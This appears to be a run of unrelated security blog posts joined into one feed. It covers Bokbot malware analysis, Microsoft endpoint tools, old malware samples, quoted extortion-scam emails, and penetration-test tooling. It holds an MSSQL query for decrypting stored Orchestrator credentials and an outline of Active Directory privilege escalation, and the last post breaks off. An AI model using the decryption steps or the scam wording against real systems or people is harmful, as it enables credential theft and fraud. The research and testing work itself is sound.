There are no specific recommendations that are applicable to this phishing technique, however, some more generic recommendations are still applicable:

  • Check if PowerShell script logging and transcript logging is enabled;
  • Raise security awareness;
  • Although it is quite hard to distinguish a fake notification toast from a genuine notification toast, users should have a paranoid approach when it comes to processes asking for their credentials.

Bokbot: The (re)birth of a banker

This blogpost is a follow-up to a presentation with the same name, given at SecurityFest in Sweden by Alfred Klason.


Bokbot (aka: IcedID) came to Fox-IT’s attention around the end of May 2017 when we identified an unknown sample in our lab that appeared to be a banker. This sample was also provided by a customer at a later stage.

Having looked into the bot and the operation, the analysis quickly revealed that it’s connected to a well-known actor group that was behind an operation publically known as 76service and later Neverquest/Vawtrak, dating back to 2006.

Neverquest operated for a number of years before an arrest lead to its downfall in January 2017. Just a few months afterwards we discovered a new bot, with a completely new code base but based on ideas and strategies from the days of Neverquest. Their business ties remains intact as they still utilize services from the same groups as seen before but also expanded to use new services.

This suggests that at least parts of the group behind Neverquest is still operating using Bokbot. It’s however unclear how many of the people from the core group that have continued on with Bokbot.

Bokbot is still a relatively new bot, just recently reaching a production state where they have streamlined and tested their creation. Even though it’s a new bot, they still have strong connections within the cybercrime underworld which enables them to maintain and grow their operation such as distributing their bot to a larger number of victims.

By looking back in history and the people who are behind this, it is highly likely that this is a threat that is not going away anytime soon. Fox-IT rather expects an expansion of both the botnet size and their target list.

76service and Neverquest

76service was, what one could call, a big-data mining service for fraud, powered by CRM (aka: Gozi). It was able to gather huge amounts of data from its victims using, for example, formgrabbing where authorization and log-in credentials are retrieved from forms submitted to websites by the infected victim.

76service panel login page (source:

76service login page (source:

The service was initially spotted in 2006 and was put into production in 2007, where the authors started to rent out access to their platform. When given access to the platform, the fraudulent customers of this service could free-text search in the stolen data for credentials that provide access to online services, such as internet banking, email accounts and other online platforms.

76service operated uninterrupted until November 2010, when an Ukrainian national named Nikita Kuzmin got arrested in connection with the operation. This marked the end of the 76service service.

Nice Catch! – The real name of Neverquest

A few months before the arrest of Nikita he shared the source code of CRM within a private group of people which would enable them to continue the development of the malware. This, over time, lead to the appearance of multiple Gozi strains, but there was one which stood out more than the others, namely: Catch.

Catch was the name given internally by the malware authors, but to the security community and the public it was known as Vawtrak or Neverquest.

During this investigation into Catch it became clear that 76service and Catch shared several characteristics. They both, for example, separated their botnets into projects within the panel they used for administering their infrastructure and botnets. Instead of having one huge botnet, they assigned every bot build with a project ID that would be used by the bot to let the Command & Control (C2) server know which specific project the bot belonged to.

76service and Catch also shared the same business model, where they shifted back and forth between a private and rented model.

The private business model meant that they made use of their own botnet, for their own gain, and the rented business model meant that they rented out access to their botnet to customers. This provided them with an additional income stream, instead of only performing the fraud themselves.

The shift between business models could usually be correlated with either: backend servers being seized or people with business ties to the group being arrested. These types of events might have spooked the group as they limited their infrastructure, closing down access for customers.

For the sake of simplicity, Catch will from here on be referred to as Neverquest in this post.

“Quest means business” – Affiliations

If one would identify a Neverquest infection it might not be the only malware that is lurking on the infected system. Neverquest has been known to cooperate with other crimeware groups, either to distribute additional malware or use existing botnets to distribute Neverquest.

During the investigation and tracking of Neverquest Fox-IT identified the following ties:

Crimeware/malware group Usage/functionality
Dyre Download and execute Dyre on Neverquest infections
TinyLoader & AbaddonPOS Download and execute TinyLoader on Neverquest infections. TinyLoader was later seen downloading AbaddonPOS (as mentioned by Proofpoint)
Chanitor/Hancitor Neverquest leverages Chanitor to infect new victims.

By leveraging these business connections, especially the connection with Dyre, Neverquest is able to maximize the monetization of the bots. This since Neverquest could see if a bot was of interest to the group and if not, it could be handed off to Dyre which could cast a wider net, targeting for example a bigger or different geographical region and utilize a bot in a different way.

More on these affiliations in a later section.

The never ending quest comes to an end

Neverquest remained at large from around 2010, causing huge amounts of financial losses, ranging from ticket fraud to wire fraud to credit card fraud. Nevertheless, in January 2017 the quest came to an end, as an individual named Stanislav Lisov was arrested in Spain. This individual was proven to be a key player in the operation: soon after the arrest the backend servers of Neverquest went offline, never to come back online, marking the end of a 6 year long fraud operation.

A more detailed background on 76service and Neverquest can be found in a blogpost by PhishLabs.

A wild Bokbot appears!

Early samples of Bokbot were identified in our lab in May 2017 and also provided to us by a customer. At this time the malware was being distributed to US infections by the Geodo (aka: Emotet) spam botnet. The name Bokbot is based on a researcher who worked on the very early versions of the malware (you know who you are 😉 ).

Initial thoughts were that this was a new banking module for Geodo, as this group had not been involved in banking/fraud since May 2015. This scenario was quickly dismissed after having discovered evidence that linked Bokbot to Neverquest, which will be further outlined hereafter.

Bokbot internals

First, let’s do some housekeeping and look into some of the technical aspects of Bokbot.


All communication between a victim and the C2 server is sent over HTTPS using POST- and GET-requests. The initial request sent to the C2 is a POST-request containing some basic information about the machine it’s running on, as seen in the example below. Any additional requests like requesting configs or modules are sent using GET-requests, except for the uploading of any stolen data such as files, HTML code, screenshots or credentials which the victim submits using POST-requests.

Even though the above request is from a very early version (14) of the bot, the principle still applies to the current version (101), first seen 2018-07-17.

URL param. Comment
b Bot identifier, contains the information needed to identify the individual bot and where it belongs. More information on this in later a section.
d Type of uploaded information. For example screenshot, grabbed form, HTML or a file
e Bot build version
i System uptime
POST-data param. Comment
k Computer name (Unicode, URL-encoded)
l Member of domain… (Unicode, URL-encoded)
j Bot requires signature verification for C2 domains and self-updates
n Bot running with privilege level…
m Windows build information (version, arch., build, etc.)

The parameters that are not included in the table above are used to report stolen data to the C2.

The C2 response of this particular bot version is a simple set of integers which tells the bot which command(s) that should be executed. This is the only C2 response that is unencrypted, all other responses are encrypted using RC4. Some responses are, like the configs, also compressed using LZMAT.

After a response is decrypted, the bot will check if the first 4 bytes equal “zeus”.


If the first 4 bytes are equal to “zeus”, it will decompress the rest of the data.

The reason for choosing “zeus” as the signature remains unknown, it could be an intentional false flag, in an attempt to trick analysts into thinking that this might be a new ZeuS strain. Similar elusive techniques have been used before to trick analysts. A simpler explanation could be that the developer simply had an ironic sense of humor, and chose the first malware name that came to mind as the 4 byte signature.


Bokbot supports three different types of configs, which all are in a binary format rather than some structured format like XML, which is, for example, used by TheTrick.

Config Comment
Bot The latest C2 domains
Injects Contains targets which are subject to web injects and redirection attacks
Reporting Contains targets related to HTML grabbing and screenshots

The first config, which includes the bot C2 domains, is signed. This to prevent that a takeover of any of the C2 domains would result in a sinkholing of the bots. The updates of the bot itself are also signed.

The other two configs are used to control how the bot will interact with the targeted entities, such as redirecting and modifying web traffic related to for example internet banking and/or email providers, for the purpose of harvesting credentials and account information.

The reporting config is used for a more generic purpose, where it’s not only used for screenshots but also for HTML grabbing, which would grab a complete HTML page if a victim browses to an “interesting” website, or if the page contains a specific keyword. This enables the actors to conduct some reconnaissance for future attacks, like being able to write web injects for a previously unknown target.

Geographical foothold

Ever since the appearance Bokbot has been heavily focused on targeting financial institutions in the US even though they’re still gathering any data that they deem interesting such as credentials for online services.

Based on Fox-IT’s observation of the malware spread and the accompanied configs we find that North America seems to be Bokbot’s primary hunting ground while high infection counts have been seen in the following countries:

  • United States
  • Canada
  • India
  • Germany
  • Netherlands
  • France
  • United Kingdom
  • Italy
  • Japan

“I can name fingers and point names!” – Connecting the two groups

The two bots, on a binary level, do not show much similarity other than the fact that they’re both communicating over HTTPS and use RC4 in combination with LZMAT compression. But this wouldn’t be much of an attribution as it’s also a combination used in for example ZeuS Gameover, Citadel and Corebot v1.

The below tables provides a short summary of the similarities between the groups.

Connection Comment
Bot and project ID format The usage of projects and the bot ID generation are unique to these groups along with the format that this information is communicated to the C2.
Inject config The injects and redirection entries are very similar and the format haven’t been seen in any other malware family.
Reporting config The targeted URLs and “interesting” keywords are almost identical between the two.
Affiliations The two group share business affiliations with other crimeware groups.

Bot ID, URL pattern and project IDs

When both Neverquest and Bokbot communicate with their C2 servers, they have to identify themselves by sending their unique bot ID along with a project ID.

An example of the string that the server uses in order to identify a specific bot from its C2 communication is shown below:


The placement of this string is of course different between the families, where Neverquest (in the latest version) placed it, encoded, in the Cookie header field. Older version of Neverquest sent this information in the URL. Bokbot on the other hand sends it in the URL as shown in a previous section.

One important difference is that Neverquest used a simple number for their project ID, 7, in the example above. Bokbot on the other hand is using a different, unknown format for its project ID. A theory is that this could be the CRC checksum of the project name to prevent any leakage of the number of projects or their names, but this is pure speculation.

Another difference is that Bokbot has implemented an 8 bit checksum that is calculated using the project ID and the bot ID. This checksum is then validated on the server side and if it doesn’t match, no commands will be returned.

To this date there has been a total of 20 projects over 25 build versions observed, numbers that keeps on growing.

Inject config – Dynamic redirect structure

The inject config not only contain web injects but also redirects. Bokbot supports both static redirects which redirects a static URL but also dynamic redirects which redirects a request based on a target matched using a regular expression.

The above example is a redirect attack from a Neverquest config. They use a regular expression to match on the requested URL. If it should match they will extract the name of the requested file along with its extension. The two strings are then used to construct a redirect URL controlled by the actors. Thereby, the $1 will be replaced with the file name and $2 will be replaced with the file extension.


How does this compare with Bokbot?


Notice how the redirect URL contains $1 and $2, just as with Neverquest. This could of course be a coincidence but it should be mentioned that this is something that has only been observed in Neverquest and Bokbot.

Reporting config

This config was one of the very first things that hinted about a connection between the two groups. By comparing the configs it becomes quite clear that there is a big overlap in interesting keywords and URLs:


Neverquest is on the left and Bokbot on the right. Note that this is a simple string comparison between the configs which also includes URLs that are to be excluded from reporting.

“Guilt by association” – Affiliations

None of these groups are short on connections in the cybercrime underworld. It’s already mentioned that Neverquest had ties with Dyre, a group which by itself caused substantial financial losses. But it’s also important to take into account that Dyre didn’t completely go away after the group got dismantled but was rather replaced with TheTrick which gives a further hint of a connection.

Neverquest affil. Bokbot affil. Comment
Dyre TheTrick Neverquest downloads & executes Dyre
Bokbot downloads & executes TheTrick
TinyLoader TinyLoader Neverquest downloads & executes TinyLoader which downloads AbaddosPOS
Bokbot downloads & executes TinyLoader, additional payload remains unknown at this time
Chanitor Chanitor Neverquest utilizes Chanitor for distribution of Neverquest
Bokbot utilizes Chanitor for distribution of Bokbot, downloads SendSafe spam malware to older infections.
Geodo Bokbot utilizes Geodo for distributing Bokbot
Gozi-ISFB Bokbot utilizes Gozi-ISFB for distributing Bokbot

There are a few interesting observations with the above affiliations. The first is for the Chanitor affiliation.

When Bokbot was being distributed by Chanitor, an existing Bokbot infection that was running an older version than the one being distributed by Chanitor, would receive a download & execute command which pointed to the SendSafe spambot, used by the Chanitor group to send spam. Suggesting that they may have exchanged “infections for infections”.

The Bokbot affiliation with Geodo is something that cannot be linked to Neverquest, mostly due to the fact that Geodo has not been running its spam operation long enough to overlap with Neverquest.

The below graph show all the observed affiliations to date.


Events over time

All of the above information have been collected over time during the development and tracking of Bokbot. The events and observations can be observed on the below timeline.


The first occurrence of TheTrick being downloaded was in July 2017 but Bokbot has since been downloading TheTrick at different occasions.

At the end of December 2017 there was little Bokbot activity, likely due to the fact that it was holidays. It’s not uncommon for cybercriminals to decrease their activity during the turn of the year, supposedly everyone needs holidays, even cybercriminals. They did however push an inject config to some bots which targeted *.com with the goal of injecting Javascript to mine Monero cryptocurrency. As soon as an infected user visits a website with a .com top-level domain (TLD), the browser would start mining Monero for the Bokbot actors.  This was likely an attempt to passively monetize the bots while the actors was on holiday.

Bokbot remains active and shows no signs of slowing down. Fox-IT will continue to monitor these actors closely.

Making Sense of Microsoft’s Endpoint Security Strategy

Microsoft is no longer content to simply delegate endpoint security on Windows to other software vendors. The company has released, fine-tuned or rebranded  multiple security technologies in a way that will have lasting effects on the industry and Windows users. What is Microsoft’s endpoint security strategy and how is it evolving?

Microsoft offers numerous endpoint security technologies, most of which include “Windows Defender” in their name. Some resemble built-in OS features (e.g., Windows Defender SmartScreen), others are free add-ons (e.g., Windows Defender Antivirus), while some are commercial enterprise products (e.g., the EDR component of Windows Defender Advanced Threat Protection). I created a table that explains the nature and dependencies of these capabilities in a single place. Microsoft is in the process of unifying these technologies under the Windows Defender Advanced Threat Protection branding umbrella—the name that originally referred solely to the company’s commercial incident detection and investigation product.

Microsoft’s approach to endpoint security appears to be pursuing the following 3 objectives:

  • Motivate other vendors to innovate beyond the commodity security controls that Microsoft offers for its modern OS versions. Windows Defender Antivirus and Windows Defender Firewall with Advanced Security (WFAS) on Windows 10 are examples of such tech. Microsoft has been expanding these essential capabilities to be on par with similar features of commercial products. This not only gives Microsoft control over the security posture of its OS, but also forces other vendors to tackle the more advanced problems on the basis of specialized expertise or other strategic abilities.
  • Expand the revenue stream from enterprise customers. To centrally manage Microsoft’s endpoint security layers, organizations will likely need to purchase System Center Configuration Manager (SCCM) or Microsoft Intune. Obtaining some Microsoft’s security technologies, such as the EDR component of Windows Defender Advanced Threat Protection, requires upgrading to the high-end Windows Enterprise E5 license. By bundling such commercial offerings with other products, rather than making them available in a standalone manner, the company motivates customers to shift all aspects of their IT management to Microsoft.

In pursuing these objectives, Microsoft developed the building blocks that are starting to resemble features of commercial Endpoint Protection Platform (EPP) products. The resulting solution is far from perfect, at least at the moment:

  • Centrally managing and overseeing these components is difficult for companies that haven’t fully embraced Microsoft for all their IT needs or that lack expertise in technologies such as Group Policy.
  • Making sense of the security capabilities, interdependencies and licensing requirements is challenging, frustrating and time-consuming.
  • Most of the endpoint security capabilities worth considering are only available for the latest versions of Windows 10 or Windows Server 2016. Some have hardware dependencies are incompatible with older hardware.
  • Several capabilities have dependencies that are incompatible with other products.  For instance, security features that rely on Hyper-V prevent users from using the VMware hypervisor on the endpoint.
  • Some technologies are still too immature or impractical for real-world deployments. For example, using my Windows 10 system after enabling the Controlled folder access feature became unbearable after a few days.
  • The layers fit together in an awkward manner at times. For instance, Microsoft provides two app whitelisting technologies—Windows Defender Application Control (WDAC) and AppLocker—that overlap in some functionality.

While infringing on the territory traditionally dominated by third-parties on the endpoint, Microsoft leaves room for security vendors to provide value and work together with Microsoft’s security technologies. For example:

Some of Microsoft’s endpoint security technologies still feel disjointed. They’re becoming less so, as the company fine-tunes its approach to security and matures its capabilities. Microsoft is steadily guiding enterprises towards embracing Microsoft as the de facto provider of IT products. Though not all enterprises will embrace an all-Microsoft vision for IT, many will. Endpoint security vendors will need to crystallize their role in the resulting ecosystem, expanding and clarifying their unique value proposition. (Coincidentally, that’s what I’m doing at Minerva Labs, where I run product management.)

Retired Malware Samples: Everything Old is New Again

I’m always on the quest for real-world malware samples that help educate professionals how to analyze malicious software. As techniques and technologies change, I introduce new specimens and retire old ones from the reverse-engineering course I teach at SANS Institute.  Here are some of the legacy samples that were once present in FOR610 materials. Though these malicious programs might not appear relevant anymore, aspects of their functionality are present even in modern malware.

A Backdoor with a Backdoor

To learn fundamental aspects of code-based and behavioral malware analysis, the FOR610 course examined Slackbot at one point. It was an IRC-based backdoor, which it’s author “slim” distributed as a compiled Windows executable without source code.

Dated April 18, 2000, Slackbot came with a builder that allowed its user to customize the name of the IRC server and channel it would use for Command and Control (C2). Slackbot documentation explained how the remote attacker could interact with the infected system over their designated channel and included this taunting note:

“don’t bother me about this, if you can’t figure out how to use it, you probably shouldn’t be using a computer. have fun. –slim”

Those who reverse-engineered this sample discovered that it had undocumented functionality. In addition to connecting to the user-specified C2 server, the specimen also reached out to a hardcoded server that “slim” controlled. The channel #penix channel gave “slim” the ability to take over all the botnets that his or her “customers” were building for themselves.

Turned out this backdoor had a backdoor! Not surprisingly, backdoors continue to be present in today’s “hacking” tools. For example, I came across a DarkComet RAT builder that was surreptitiously bundled with a DarkComet backdoor of its own.

You Are an Idiot

The FOR610 course used an example of a simple malevolent web page to introduce the techniques for examining potentially-malicious websites. The page, captured below, was a nuisance that insulted its visitors with the following message:

When the visitor attempted to navigate away from the offending site, its JavaScript popped up new instances of the page, making it very difficult to leave. Moreover, each instance of the page played the following jingle on the victim’s speakers. “You are an idiot,” the song exclaimed. “Ahahahahaha-hahahaha!” The cacophony of multiple windows blasting this jingle was overwhelming.


A while later I came across a network worm that played this sound file on victims’ computers, though I cannot find that sample anymore. While writing this post, I was surprised to discover a version of this page, sans the multi-window JavaScript trap, residing on Maybe it’s true what they say: good joke never gets old.

Clipboard Manipulation

When Flash reigned supreme among banner ad technologies, the FOR610 course covered several examples of such forms of malware. One of the Flash programs we analyzed was a malicious version of the ad pictured below:

At one point, visitors to legitimate websites, such as MSNBC, were reporting that their clipboards appeared “hijacked” when the browser displayed this ad. The advertisement, implemented as a Flash program, was using the ActionScript setClipboard function to replace victims’ clipboard contents with a malicious URL.

The attacker must have expected the victims to blindly paste the URL into messages without looking at what they were sharing. I remembered this sample when reading about a more recent example of malware that replaced Bitcoin addresses stored in the clipboard with the attacker’s own Bitcoin address for payments.

As malware evolves, so do our analysis approaches, and so do the exercises we use in the FOR610 malware analysis course.  It’s fun to reflect upon the samples that at some point were present in the materials. After all, I’ve been covering this topic at SANS Institute since 2001. It’s also interesting to notice that, despite the evolution of the threat landscape, many of the same objectives and tricks persist in today’s malware world.

Scammers Use Breached Personal Details to Persuade Victims

Scammers use a variety of social engineering tactics when persuading victims to follow the desired course of action. One example of this approach involves including in the fraudulent message personal details about the recipient to “prove” that the victim is in the miscreant’s grip. In reality, the sender probably obtained the data from one of the many breaches that provide swindlers with an almost unlimited supply of personal information.

Personalized Porn Extortion Scam

Consider the case of an extortion scam in which the sender claims to have evidence of the victim’s pornography-viewing habits. The scammer demands payment in exchange for suppressing the “compromising evidence.” A variation of this technique was documented by Stu Sjouwerman at KnowBe4 in 2017. In a modern twist, the scammer includes personal details about the recipient—beyond merely the person’s name—such as the password the victim used:

“****** is one of your password and now I will directly come to the point. You do not know anything about me but I know alot about you and you must be thinking why are you getting this e mail, correct?

I actually setup malware on porn video clips (adult porn) & guess what, you visited same adult website to experience fun (you get my drift). And when you got busy enjoying those videos, your web browser started out operating as a RDP (Remote Desktop Protocol) that has a backdoor which provided me with accessibility to your screen and your web camera controls.”

The email includes demand for payment via cryptocurrency such Bitcoin to ensure that “Your naughty secret remains your secret.” The sender calls this “privacy fees.” Variations on this scheme are documented in the Blackmail Email Scam thread on Reddit.

The inclusion of the password that the victim used at some point in the past lends credibility to the sender’s claim that the scammer knows a lot about the recipient. In reality, the miscreant likely obtained the password from one of many data dumps that include email addresses, passwords, and other personal information stolen from breached websites.

Data Breach Lawsuit Scam

In another scenario, the scammer uses the knowledge of the victim’s phone number to “prove” possession of sensitive data. The sender poses as an entity that’s preparing to sue the company that allegedly leaked the data:

“Your data is compromised. We are preparing a lawsuit against the company that allowed a big data leak. If you want to join and find out what data was lost, please contact us via this email. If all our clients win a case, we plan to get a large amount of compensation and all the data and photos that were stolen from the company. We have all information to win. For example, we write to your email and include part your number ****** from a large leak.”

The miscreant’s likely objective is to solicit additional personal information from the victim under the guise of preparing the lawsuit, possibly requesting the social security number, banking account details, etc. The sender might have obtained the victim’s name, email address and phone number from a breached data dump, and is phishing for other, more lucrative data.

What to Do?

If you receive a message that solicits payment or confidential data under the guise of knowing some of your personal information, be skeptical. This is probably a mass-mailed scam and your best approach is usually to ignore the message. In addition, keep an eye on the breaches that might have compromised your data using the free and trusted service Have I Been Pwned by Troy Hunt, change your passwords when this site tells you they’ve been breached, and don’t reuse passwords across websites or apps.

Sometimes an extortion note is real and warrants a closer look and potentially law enforcement involvement. Only you know your situation and can decide on the best course of action. Fortunately, every example that I’ve had a chance to examine turned out to be social engineering trick that recipients were best to ignore.

To better under understand persuasion tactics employed by online scammers, take a look at my earlier articles on this topic:


Cyber is Cyber is Cyber

If you’re in the business of safeguarding data and the systems that process it, what do you call your profession? Are you in cybersecurity? Information security? Computer security, perhaps? The words we use, and the way in which the meaning we assign to them evolves, reflects the reality behind our language. If we examine the factors that influence our desire to use one security title over the other, we’ll better understand the nature of the industry and its driving forces.

Until recently, I’ve had no doubts about describing my calling as an information security professional. Yet, the term cybersecurity is growing in popularity. This might be because the industry continues to embrace the lexicon used in government and military circles, where cyber reigns supreme. Moreover, this is due to the familiarity with the word cyber among non-experts.

When I asked on Twitter about people’s opinions on these terms, I received several responses, including the following:

  • Danny Akacki was surprised to discover, after some research, that the origin of cyber goes deeper than the marketing buzzword that many industry professionals believe it to be.
  • Paul Melson and Loren Dealy Mahler viewed cybersecurity as a subset of information security. Loren suggested that cyber focuses on technology, while Paul considered cyber as a set of practices related to interfacing with adversaries.
  • Maggie O’Reilly mentioned Gartner’s model that, in contrast, used cybersecurity as the overarching discipline that encompasses information security and other components.
  • Rik Ferguson also advocated for cybersecurity over information security, viewing cyber as a term that encompasses muliple components: people, systems, as well as information.
  • Jessica Barker explained that “people outside of our industry relate more to cyber,” proposing that if we want them to engage with us, “we would benefit from embracing the term.”

In line with Danny’s initial negative reaction to the word cyber, I’ve perceived cybersecurity as a term associated with heavy-handed marketing practices. Also, like Paul, Loren, Maggie and Rik, I have a sense that cybersecurity and information security are interrelated and somehow overlap. Jessica’s point regarding laypersons relating to cyber piqued my interest and, ultimately, changed my opinion of this term.

There is a way to dig into cybersecurity and information security to define them as distinct terms. For instance, NIST defines cybersecurity as:

“Prevention of damage to, protection of, and restoration of computers, electronic communications systems, electronic communications services, wire communication, and electronic communication, including information contained therein, to ensure its availability, integrity, authentication, confidentiality, and nonrepudiation.”

Compare that description to NIST’s definition of information security:

“The protection of information and information systems from unauthorized access, use, disclosure, disruption, modification, or destruction in order to provide confidentiality, integrity, and availability.”

From NIST’s perspective, cybersecurity is about safeguarding electronic communications, while information security is about protecting information in all forms. This implies that, at least according to NIST, information security is a subset of cybersecurity. While this nuance might be important in some contexts, such as regulations, the distinction probably won’t remain relevant for long, because of the points Jessica Barker raised.

Jessica’s insightful post on the topic highlights the need for security professionals to use language that our non-specialist stakeholders and people at large understand. She outlines a brief history that lends credence to the word cyber. She also explains that while most practitioners seem to prefer information security, this term is least understood by the public, where cybersecurity is much more popular. She explains that:

“The media have embraced cyber. The board has embraced cyber. The public have embraced cyber. Far from being meaningless, it resonates far more effectively than ‘information’ or ‘data’. So, for me, the use of cyber comes down to one question: what is our goal? If our goal is to engage with and educate as broad a range of people as possible, using ‘cyber’ will help us do that. A bridge has been built, and I suggest we use it.”

Technology and the role it plays in our lives continues to change. Our language evolves with it. I’m convinced that the distinction between cybersecurity and information security will soon become purely academic and ultimately irrelevant even among industry insiders. If the world has embraced cyber, security professionals will end up doing so as well. While I’m unlikely to wean myself off information security right away, I’m starting to gradually transition toward cybersecurity.

Communicating About Cybersecurity in Plain English

When cybersecurity professionals communicate with regular, non-technical people about IT and security, they often use language that virtually guarantees that the message will be ignored or misunderstood. This is often a problem for information security and privacy policies, which are written by subject-matter experts for people who lack the expertise. If you’re creating security documents, take extra care to avoid jargon, wordiness and other issues that plague technical texts.

To strengthen your ability to communicate geeky concepts in plain English, consider the following exercise: Take a boring paragraph from a security assessment report or an information security policy and translate it into a sentence that’s no longer than 15 words without using industry terminology. I’m not suggesting that the resulting statement should replace the original text; instead, I suspect this exercise will train you to write more plainly and succinctly.

For example, I extracted and slightly modified a few paragraphs from the Princeton University Information Security Policy, just so that I could experiment with some public document written in legalese. I then attempted to relay the idea behind each paragraph in the form of a 3-line haiku (5-7-5 syllables per line):

This Policy applies to all Company employees, contractors and other entities acting on behalf of Company. This policy also applies to other individuals and entities granted use of Company information, including, but not limited to, contractors, temporary employees, and volunteers.

If you can read this,
you must follow the rules that
are explained below.

When disclosing Confidential information, the proposed recipient must agree (i) to take appropriate measures to safeguard the confidentiality of the information; (ii) not to disclose the information to any other party for any purpose absent the Company’s prior written consent.

Don’t share without a
contract any information
that’s confidential.

All entities granted use of Company Information are expected to: (i) understand the information classification levels defined in the Information Security Policy; (ii) access information only as needed to meet legitimate business needs.

Know your duties for
safeguarding company info.
Use it properly.

By challenging yourself to shorten a complex concept into a single sentence, you motivate yourself to determine the most important aspect of the text, so you can better communicate it to others. This approach might be especially useful for fine-tuning executive summaries, which often warrant careful attention and wordsmithing. This is just one of the ways in which you can improve your writing skills with deliberate practice.

Introducing Team Foundation Server decryption tool

During penetration tests we sometimes encounter servers running software that use sensitive information as part of the underlying process, such as Microsoft’s Team Foundation Server (TFS). TFS can be used for developing code, version control and automatic deployment to target systems. This blogpost provides two tools to decrypt sensitive information that is stored in the TFS database.

Decrypting TFS secrets

Within Team Foundation Server (TFS), it is possible to automate the build, testing and deployment of new releases. With the use of variables it is possible to create a generic deployment process once and customize it per environment.1 Sometimes specific tasks need a set of credentials or other sensitive information and therefor TFS supports encrypted variables. With an encrypted variable the contents of the variables is encrypted in the database and not visible for the user of TFS.


However, with the correct amount of access rights to the database it is possible to decrypt the encrypted content. Sebastian Solnica wrote a blogpost about this, which can be read on the following link:

Fox-IT wrote a PowerShell script that uses the information mentioned in the blogpost. While the blogpost mainly focused on the decryption technique, the PowerShell script is built with usability in mind. The script will query all needed values and display the decrypted values. An example can be seen in the following screenshot:


The script can be downloaded from Fox-IT’s Github repository:

It is also possible to use the script in Metasploit. Fox-IT wrote a post module that can be used through a meterpreter session. The result of the script can be seen in the screenshot below.


There is a pull request pending and hopefully the module will be part of the Metasploit Framework soon. The pull request can be found here:



Introducing Orchestrator decryption tool

Researched and written by Donny Maasland and Rindert Kramer


During penetration tests we sometimes encounter servers running software that use sensitive information as part of the underlying process, such as Microsoft’s System Center Orchestrator.
According to Microsoft, Orchestrator is a workflow management solution for data centers and can be used to automate the creation, monitoring and deployment of resources in your environment.1 This blogpost covers the encryption aspect of Orchestrator and new tools to decrypt sensitive information that is stored in the Orchestrator database.

Orchestrator, variables, encryption and SQL

In Orchestrator, it is possible to create variables that can be used in runbooks. One of the possibilities is to store credentials in these variables. These variables can then be used to authenticate with other systems. Runbooks can use these variables to create an authenticated session towards the target system and run all the steps that are defined in the runbook in the context of the credentials that are specified in the variable.

Information, such as passwords, that is of a sensitive nature can be encrypted by using encrypted variables. The contents of these variables are stored encrypted in the database when they are created and are decrypted when they are used in the runbooks. The picture below displays the dialog to create an encrypted variable.


Orchestrator uses the internal encryption functionality of Microsoft SQL server2 (MSSQL). The decryption keys are stored in the SYS database and have to be loaded in to the SQL session in order to decrypt data.

To decypt the data, we need the encrypted content first. The following query returns the encrypted content:


If there are secret variables stored in the database, this will result in encrypted data, such as:

The data between \`d.T.~De/ is the data we are interested in, which leaves us with the following string:
Please note that the \`d.T.~De/ value might differ per data type.

Since this data is encrypted, the decryption key needs to be loaded in the SQL session. To establish this, we open an SQL session and run the following query:


This will load the decryption key into the SQL session.

Now we run this string against the decryptbykey function in MSSQL3 to decrypt the content with the encryption key that was loaded earlier in the SQL session. If successful, this will result in a varbinary object that we need to convert to nvarchar for human readable output.

The complete SQL query will look like this:

SELECT convert(nvarchar, decryptbykey(0x00F04DA615688A4C96C2891105226AE90100000059A187C285E8AC6C1090F48D0BFD2775165F9558EAE37729DA43BE92AD133CF697D2C5CC1E6E27E534754099780A0362C794C95F3747A1E65E869D2D43EC3597));

Executing this query will return the unencrypted value of the variable, as can be seen in the following screenshot.

Automating the process

Fox-IT created a script that automates this process. The script queries the secrets and decrypts them automatically. The result of the script can be seen in the screenshot below.

The script can be downloaded from Fox-IT’s Github repository:

Fox-IT also wrote a Metasploit post module to run this script through a meterpreter.

The Metasploit module supports integrated login. Optionally, it is possible to use MSSQL authentication by specifying the username and password parameters. By default, the script will use the ‘Orchestrator’ database, but it is also possible to specify another database with the database parameter. Fox-IT did a pull request to add this module to Metasploit, so hopefully the module will be available soon. The pull request can be found here:



Escalating privileges with ACLs in Active Directory

Researched and written by Rindert Kramer and Dirk-jan Mollema


During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack.

AD, ACLs and ACEs

As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group.

Group memberships within AD are applied recursively. Let’s say that we have three groups:

  • Group_A
    • Group_B
      • Group_C

Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself.
Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions.

Escalating privileges in AD with Exchange

During a recent penetration test, we managed to obtain a user account that was a member of the Organization Management security group. This group is created when Exchange is installed and provided access to Exchange-related activities. Besides access to these Exchange settings, it also allows its members to modify the group membership of other Exchange security groups, such as the Exchange Trusted Subsystem security group. This group is a member of the Exchange Windows Permissions security group.


By default, the Exchange Windows Permissions security group has writeDACL permission on the domain object of the domain where Exchange was installed. 1


